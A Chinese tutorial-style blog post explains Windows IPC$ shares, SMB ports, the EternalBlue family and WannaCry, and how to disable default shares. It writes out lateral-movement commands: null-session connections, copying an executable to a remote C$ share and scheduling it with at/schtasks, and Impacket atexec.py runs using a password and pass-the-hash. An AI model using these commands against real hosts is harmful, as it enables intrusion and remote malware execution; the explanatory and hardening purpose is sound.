IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 系统运维 -> Windows系统IPC$共享与勒索病毒 -> 正文阅读

[系统运维]Windows系统IPC$共享与勒索病毒

??不同的进程各自有着不同的地址空间,每个进程的全局变量对其它进程是透明的。因此进程间要进行数据交互就要通过内核,在内核中开辟一块缓冲区,每个进程只需把要共享的数据拷贝到缓冲区即可,内核提供的这种机制称为进程间通信(IPC)

共享命名管道

??关于进程间通信(InterProcess Communication),管道和共享内存为大家所熟知,包括匿名管道和命名管道。Windows系统的IPC$其实就命名管道的一种应用,考虑到它用于不同设备间通信,所以可以翻译为Internet Process Connection,是共享命名管道。通过提供可信任的用户名和口令,连接双方可以建立安全的通道并以此通道进行加密数据的交换,从而实现对远程计算机的访问。
??IPC$是Windows 2000(内核版本号为NT 5.0)新增的功能,它有一个特点,即在同一时间内,两个IP之间只允许建立一个连接。Windows 2000在提供了 IPC$ 共享功能的同时,在初次安装系统时还打开了默认共享,即所有的逻辑共享(C$、D$、E$……)和系统目录共享(Admin$)。所有的这些初衷都是为了方便管理员的管理。但好的初衷并不一定有好的收效,一些别有用心者会利用IPC$,访问共享资源,导出用户列表,并使用一些字典工具,进行密码探测。
??(备注:Windows 2000有人称为NT2000,其实并不准确。Windows刚诞生的时候,还没有“NT(New Technology)”这一说法。那时Windows是基于DOS(磁盘操作系统),DOS没有图形用户界面的,可以理解为现在的命令提示符。后来图形用户界面成为主流,Windows则采用了OS/2。OS/2拥有图形用户界面,此时Windows的内核版本开始以NT命名。当时Windows系统的名称和内核版本号一致,即内核版本号是NT3.1,系统的名称就是Windows NT3.1。这一规则到Windows 2000时发生了变化。内核版本号依然延续传统,如果不是大的版本更新,内核版本号一直是在小数点后面变化。比如Windows 2000的内核版本号为NT5.0,Windows XP的内核版本号为NT5.1。后来的Windows Vista,内核版本号升级为NT6.0,之后Windows 7(NT6.1)、Windows 8(NT6.3)都是小数点后变化。但到了Windows 10,微软直接将内核版本号升级为NT10.0,变化十分大。版本号在一定程度上能够说明系统之间的代数关系,但到了Windows 10这边,就不用那么认真了。)
在这里插入图片描述

??为了配合IPC共享工作,Windows操作系统在安装完成后,自动设置共享的目录为:所有的盘符+Admin目录(C:\Windows)等,即ADMIN 、 C 、C C、D$等。查看开启的共享,如图:
在这里插入图片描述

IPC连接

空连接

??在Windows系统中,安全会话的建立依靠NTLM网络认证机制。NTLM是一种基于质询/应答 (Challenge/Response )消息交换模式的认证机制,常用于工作组和域环境下登录场景的身份认证。
??空会话是指在没有信任的情况下建立的会话(即未提供用户名与密码)。那么空会话可以做什么呢?利用IPC$,攻击者可以与目标主机建立一个空的连接,而无需用户名与密码(前提是对方机器开了IPC$共享),而利用这个空的连接,攻击者可以得到目标主机上的用户列表(前提是管理员没有禁止导出用户列表)。建立了一个空的连接后,攻击者可以获得不少的信息(而这些信息往往是入侵中必不可少的),访问部分共享。如果黑客能够以某一个具有一定权限的用户身份登陆的话,那么就会得到相应的权限。

net use \\192.168.110.25\ipc$ "" /user:""

??使用上述命令建立空连接,不过在Windows10系统会报错,因为微软加强了安全性,取消了空连接。连接时报:“发生系统错误 5。”
?? 以前建立空会话可以获取一些有用的信息,后来空会话的权限很低,任何访问都会被拒绝。
在这里插入图片描述
现在连空连接都无法建立了。
之前一篇文章有提到永恒之蓝:
永恒之蓝漏洞攻击
当时并没有很详细的解释,其实对应与编号MS17-010漏洞的病毒不止永恒之蓝一个,而是有很多变体。首先我们来了解一些基础知识:

  • SMB:(Server Message Block) Windows协议族,用于文件打印共享的服务; NBT:(NETBIOS Over
  • TCP/IP)使用137(UDP)138(UDP)139(TCP)端口实现基于TCP/IP协议的NETBIOS网络互联。
  • 在Windows2000之前,SMB基于NBT实现,即使用139(TCP)端口;而在WindowsNT中,SMB除了基于NBT实现,还可以直接通过445端口实现。

从 Windows 95 开始,Microsoft Windows 操作系统支持 SMB 协议 ,但是由于SMB由于有漏洞。所以在Windows Vista之后,Windows开始使用 SMBv2 协议。而Windows XP和Windows Server2003及其之前的机器都是用的SMBv1协议。Windows10基本都用的SMBv3协议。

??对于winNT客户端(发起端)来说:

  • 如果在允许NBT的情况下连接服务器时,客户端会同时尝试访问139和445端口,如果445端口有响应,那么就发送RST包给139端口断开连接,用455端口进行会话。当445端口无响应时,才使用139端口,如果两个端口都没有响应,则会话失败;

  • 如果在禁止NBT的情况下连接服务器时,那么客户端只会尝试访问445端口,如果445端口无响应,那么会话失败。

??对于winNT服务器端来说:

  • 如果允许NBT, 那么UDP端口137、138,TCP 端口 139,445将开放;

  • 如果禁止NBT,那么只有445端口开放。

名称影响
ETERNALROMANCESMB和NBT漏洞,对应MS17-010编号,针对139和445端口发起攻击,影响范围:Windows XP, 2003, Vista, 7, Windows 8, 2008, 2008 R2
EMERALDTHREADSMB和NETBIOS漏洞,对应MS10-061漏洞,针对139和445端口,影响范围:Windows XP、Windows 2003
EDUCATEDSCHOLARSMB服务漏洞,对应MS09-050漏洞,针对445端口
ERRATICGOPHERSMBv1服务漏洞,针对445端口,影响范围:Windows XP、 Windows server 2003,不影响windows Vista及之后的操作系统
ETERNALBLUESMBv1、SMBv2漏洞,对应MS17-010,针对445端口,影响范围:较广,从WindowsXP到Windows 2012
ETERNALSYNERGYSMBv3漏洞,对应MS17-010,针对445端口,影响范围:Windows8、Server2012
ETERNALCHAMPIONSMB v2漏洞,针对445端口

??WannaCry主要利用了微软“视窗”系统的漏洞,以获得自动传播的能力,能够在数小时内感染一个系统内的全部电脑。勒索病毒被漏洞远程执行后,会从资源文件夹下释放一个压缩包,此压缩包会在内存中通过密码:WNcry@2ol7解密并释放文件。这些文件包含了后续弹出勒索框的exe,桌面背景图片的bmp,包含各国语言的勒索字体,还有辅助攻击的两个exe文件。这些文件会释放到了本地目录,并设置为隐藏。(注释:说明一下,“永恒之蓝”是NSA泄露的漏洞利用工具的名称,并不是该病毒的名称。永恒之蓝”是指NSA泄露的危险漏洞“EternalBlue”,此次的勒索病毒WannaCry是利用该漏洞进行传播的,当然还可能有其他病毒也通过“永恒之蓝”这个漏洞传播,因此给系统打补丁是必须的。)

http://www.wuqibaike.com/index.php?doc-view-21562

Windows默认开放135、137、138、139和445五个端口,主要是方便初级用户操作,即不进行必要的设置就可以使用网络通信和各种共享服务。但这样一来,用户不希望启动或者用不到的一些服务都会随机启动,主机连接因特网后会在用户不知晓的情况下泄露本机信息。因此我们应尽可能的多了解一些这些端口的作用,权衡端口开放的利与弊,然后制定相应的安全策略。

非空连接

net use \\192.168.110.25\ipc$ "密码" /user:"用户名" 
或者 net use \\192.168.110.25 再按照提示输入用户名和密码

在这里插入图片描述
使用命令:net use ,可以查看已经建立的连接。
在这里插入图片描述

  • 使用管理员组内用户建立的IPC$连接,可以执行以下所有命令。

  • 使用普通用户(不在管理员组里)建立的IPC$连接,仅能执行查看时间命令:net time \192.168.0.111 ,其他命令均执行不了。

  • 此规则在新版的Windows10已经有了改变。现在的20H1以后版本均只有administrator账户建立的连接,才可以执行全部命令,其余账户均无法执行除 net time以外的任何命令。

net use \\192.168.0.111\ipc$ /del 删除建立的连接

在这里插入图片描述

dir \\192.168.0.111\c$ 查看c盘目录

??当然也可以直接在文件资源管理器用命令:\192.168.10.131\c$ 查看对应的文件及目录,可以增删改查(和之前讲的smb文件共享一样)。
在这里插入图片描述

tasklist /S 192.168.0.111 /U administrator -P 密码 #查看进程
net time \\192.168.0.111  #查看目标系统时间
copy vps.exe \\192.168.10.131\c$ #将指定文件拷贝到目标系统中
at \\192.168.10.131 17:00:00 C:\vps.exe #at定时任务

在这里插入图片描述
??不过Windows Vista、Windows Server 2008及之后版本的操作系统已经弃用at命令,需要使用schtasks命令。

schtasks /create /s 192.168.0.111 /u administrator /p 密码 /sc once /tn "bingdian" /tr "d:\programfiles\fish.exe /st 10:11

??注意:使用该命令前提是本地计算机必须与远程计算机位于同一域中,或者必须位于远程计算机域信任的域中。否则会提示:“ 错误: 不支持该请求”。详情参考:schtasks文档

Linux连接

??虽然该功能出自于Windows,但是Linux系统也有办法与之建立连接。那就是Impacket套件。Impacket是用于处理网络协议的Python类的集合,该集合包含了渗透测试中常见的工具种类,包括远程命令执行、信息收集、票据传递、凭据获取、中间人攻击测试等。该套件里的工具使用也是linux主机跳向windows主机的方式之一。
??Impacket中的atexec.py脚本,就是利用定时任务获取权限,该脚本的利用需要开启ipc$共享。这个脚本仅工作Windows>=Vista的系统上。这个样例能够通过任务计划服务(Task Scheduler)来在目标主机上实现命令执行,并返回命令执行后的输出结果 。

./atexec.py  xie/hack:x123456./@192.168.10.130  whoami
 ./atexec.py  xie/hack:@192.168.10.130  whoami  -hashes aada8eda23213c027743e6c498d751aa:b98e75b5ff7a3d3ff05e07f211ebe7a8

关闭共享

当我们不需要共享时,可以执行以下命令进行关闭:

net  share  ipc$    /delete              #关闭ipc默认共享
net  share  c$      /delete              #关闭C盘默认共享
net  share  admin$  /delete              #关闭admin默认共享

还有一种就是通过修改注册表的方式,路径是:

\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa
name:restrictanonymous
type: REG_DWORD 
value:0(默认)

??restrictanonymous这个键是用来设置对匿名连接的额外限制管理的。一共可以有3个值:0,1,2。其中0是默认值,表示无限制,依靠默认的权限管理。值为1表示匿名用户无法列举本机用户列表;值为2表示匿名用户无法连接本机IPC$共享。但是不推荐通过修改该值来限制访问,可能会导致很多功能受到影响。因为很多 Windows Server服务和第三方程序都依赖匿名访问功能来执行合法任务。
?? IPC$连接失败的原因及常见错误号:
1、连接失败原因

  • 用户名或密码错误
  • 目标主机没有开启IPC$共享
  • 不能成功连接目标主机的139、445端口
  • 命令输入错误

2、常见错误号

错误号5:拒绝访问
错误号51:Windows无法找到网络路径,及网络中存在问题
错误号53:找不到网络路径,包括IP地址错误、目标未开机、目标的lanmanserver服务未启动,目标防火墙过滤了端口
错误号67:找不到网络名,包括 lanmanworkstation 服务未启动,IPC$已被删除
错误号1219:提供的凭据与已存在的凭据集冲突。例如已经和目标建立了IPC$连接,需要在删除后重新连接
错误号1326:未知的用户名或错误的密码
错误号1792:试图登录,但是网络登录服务没有启动,包括目标NetLogon服务未启动(连接域控制器时会出现此情况)
错误号2242:此用户的密码已经过期。

3、常用的共享命令

net use                               #查看本机建立的连接(本机连接其他机器)
net session                           #查看本机建立的连接(其他机器连接的本机),需要administrator用户执行
net share                             #查看本地开启的共享
net share ipc$                        #开启ipc$共享
net share ipc$ /del                   #删除ipc$共享
net share c$ /del                     #删除C盘共享
net use * /del                        #删除所有连接
net use \\192.168.10.15                   #与192.168.10.15建立ipc空连接(windows10不用)
net use \\192.168.10.15\ipc$              #与192.168.10.15建立ipc空连接(windows10不用)
net use \\192.168.10.15\ipc$ /u:"" ""     #与192.168.10.15建立ipc空连接(windows10不用)
net view \\192.168.10.15                  #查看远程主机开启的默认共享
net use \\192.168.10.15 /u:"administrator" "root"   #以administrator身份与192.168.10.15建立ipc连接
net use \\192.168.10.15 /del              #删除建立的ipc连接
net time \\192.168.10.15                  #查看该主机上的时间
net use \\192.168.10.15\c$ /u:"administrator" "root"  #建立C盘共享
dir \\192.168.10.15\c$                  #查看192.168.10.15C盘文件
dir \\192.168.10.15\c$\user\test.exe    #查看192.168.10.15C盘文件下的user目录下的test.exe文件
net use \\192.168.10.15\c$ /del        #删除该C盘共享连接
net use k: \\192.168.10.15\c$ /u:"administrator" "root"  #将目标C盘映射到本地K盘
net use k: /del                                           #删除该映射
  系统运维 最新文章
配置小型公司网络WLAN基本业务(AC通过三层
如何在交付运维过程中建立风险底线意识,提
快速传输大文件,怎么通过网络传大文件给对
从游戏服务端角度分析移动同步(状态同步)
MySQL使用MyCat实现分库分表
如何用DWDM射频光纤技术实现200公里外的站点
国内顺畅下载k8s.gcr.io的镜像
自动化测试appium
ctfshow ssrf
Linux操作系统学习之实用指令(Centos7/8均
上一篇文章      下一篇文章      查看所有文章
加:2022-04-01 23:49:45  更:2022-04-01 23:50:33 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/15 23:37:47-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码